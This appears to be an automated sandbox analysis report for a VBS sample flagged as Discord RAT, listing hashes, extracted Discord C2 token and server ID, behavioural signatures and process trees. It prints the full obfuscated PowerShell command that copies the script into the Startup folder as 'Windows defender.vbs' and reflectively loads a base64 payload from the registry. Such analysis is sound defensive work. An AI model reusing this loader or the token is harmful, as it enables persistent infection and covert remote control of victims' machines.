Analysis
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max time kernel
93s -
max time network
100s -
platform
windows10-2004_x64 -
resource
win10v2004-20240704-en -
resource tags
arch:x64arch:x86image:win10v2004-20240704-enlocale:en-usos:windows10-2004-x64system -
submitted
08-07-2024 19:32
Static task
static1
Behavioral task
behavioral1
Sample
9c173fbe1731dce2731ff72991b1b2220448418434162fe1b810cd0e01d3d016.vbs
Resource
win7-20240705-en
Behavioral task
behavioral2
Sample
9c173fbe1731dce2731ff72991b1b2220448418434162fe1b810cd0e01d3d016.vbs
Resource
win10v2004-20240704-en
General
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Target
9c173fbe1731dce2731ff72991b1b2220448418434162fe1b810cd0e01d3d016.vbs
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Size
105KB
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MD5
2502518aa797758d68760e5c46f4fd85
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SHA1
27f0b73cea1441a772d9635e4f95441ec754549c
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SHA256
9c173fbe1731dce2731ff72991b1b2220448418434162fe1b810cd0e01d3d016
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SHA512
59ac66961c7a9945d2c3d062662a8e3fe2161d6498a994404261432f62d0af9df35d94900e302da6cfaa5daf8eb1130a83be88fa4c9f874073519341b84cfbae
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SSDEEP
1536:BF67GmLWRSsyLZ6Tt1fk9umda0otZHe7GcAthbTmtDFsyCV1XqFv6Z9Ho4TUYj+R:z677LKvfzftUaHvHQwh6IeyRu
Malware Config
Extracted
discordrat
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discord_token
MTI0NzY0ODI3NjkwNDI4NDIxMQ.GeRPhp.MDSXGRuUn2u8gLfs_a8HNeOahYRKGQaJRsgUWw
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server_id
1247801636122787851
Signatures
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Discord RAT
A RAT written in C# using Discord as a C2.
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Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
WScript.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-1015551233-1106003478-1645743776-1000\Control Panel\International\Geo\Nation WScript.exe -
Drops startup file 2 IoCs
Processes:
powershell.exedescription ioc process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows defender.vbs powershell.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows defender.vbs powershell.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.exepid process 4616 powershell.exe 4616 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 4616 powershell.exe -
Suspicious use of WriteProcessMemory 2 IoCs
Processes:
WScript.exedescription pid process target process PID 1500 wrote to memory of 4616 1500 WScript.exe powershell.exe PID 1500 wrote to memory of 4616 1500 WScript.exe powershell.exe
Processes
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C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\9c173fbe1731dce2731ff72991b1b2220448418434162fe1b810cd0e01d3d016.vbs"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -exec bypass -window 1 -Command Copy-Item 'C:\Users\Admin\AppData\Local\Temp\9c173fbe1731dce2731ff72991b1b2220448418434162fe1b810cd0e01d3d016.vbs' 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows defender.vbs'; $disagreements = ((Get-ItemProperty HKCU:\Software\Chrome\).Updates); $disagreements = -join $disagreements[-1..-$disagreements.Length];[<##>AppDomain<##>]::<##>('compositionurrentDomain'.replace('composition','C'))<##>.<##>('Switzerlandoad'.replace('Switzerland','L'))([Convert]::FromBase64String($disagreements))<##>.<##>('taeniacidentryPoint'.replace('taeniacide','E'))<##>.<##>('Inlumpyoke'.replace('lumpy','v'))($Null,$Null)<##>;2⤵
- Drops startup file
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v13
Replay Monitor
Loading Replay Monitor...
Downloads
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C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2cgdot1p.frs.ps1Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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memory/4616-0-0x00007FF958F83000-0x00007FF958F85000-memory.dmpFilesize
8KB
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memory/4616-10-0x000001BABBEC0000-0x000001BABBEE2000-memory.dmpFilesize
136KB
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memory/4616-11-0x000001BABE240000-0x000001BABE284000-memory.dmpFilesize
272KB
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memory/4616-13-0x000001BABBF10000-0x000001BABBF28000-memory.dmpFilesize
96KB
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memory/4616-14-0x00007FF958F80000-0x00007FF959A41000-memory.dmpFilesize
10.8MB
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memory/4616-15-0x00007FF958F80000-0x00007FF959A41000-memory.dmpFilesize
10.8MB
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memory/4616-16-0x00007FF958F80000-0x00007FF959A41000-memory.dmpFilesize
10.8MB
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memory/4616-17-0x000001BABE530000-0x000001BABE5A6000-memory.dmpFilesize
472KB
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memory/4616-19-0x00007FF958F83000-0x00007FF958F85000-memory.dmpFilesize
8KB
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memory/4616-20-0x00007FF958F80000-0x00007FF959A41000-memory.dmpFilesize
10.8MB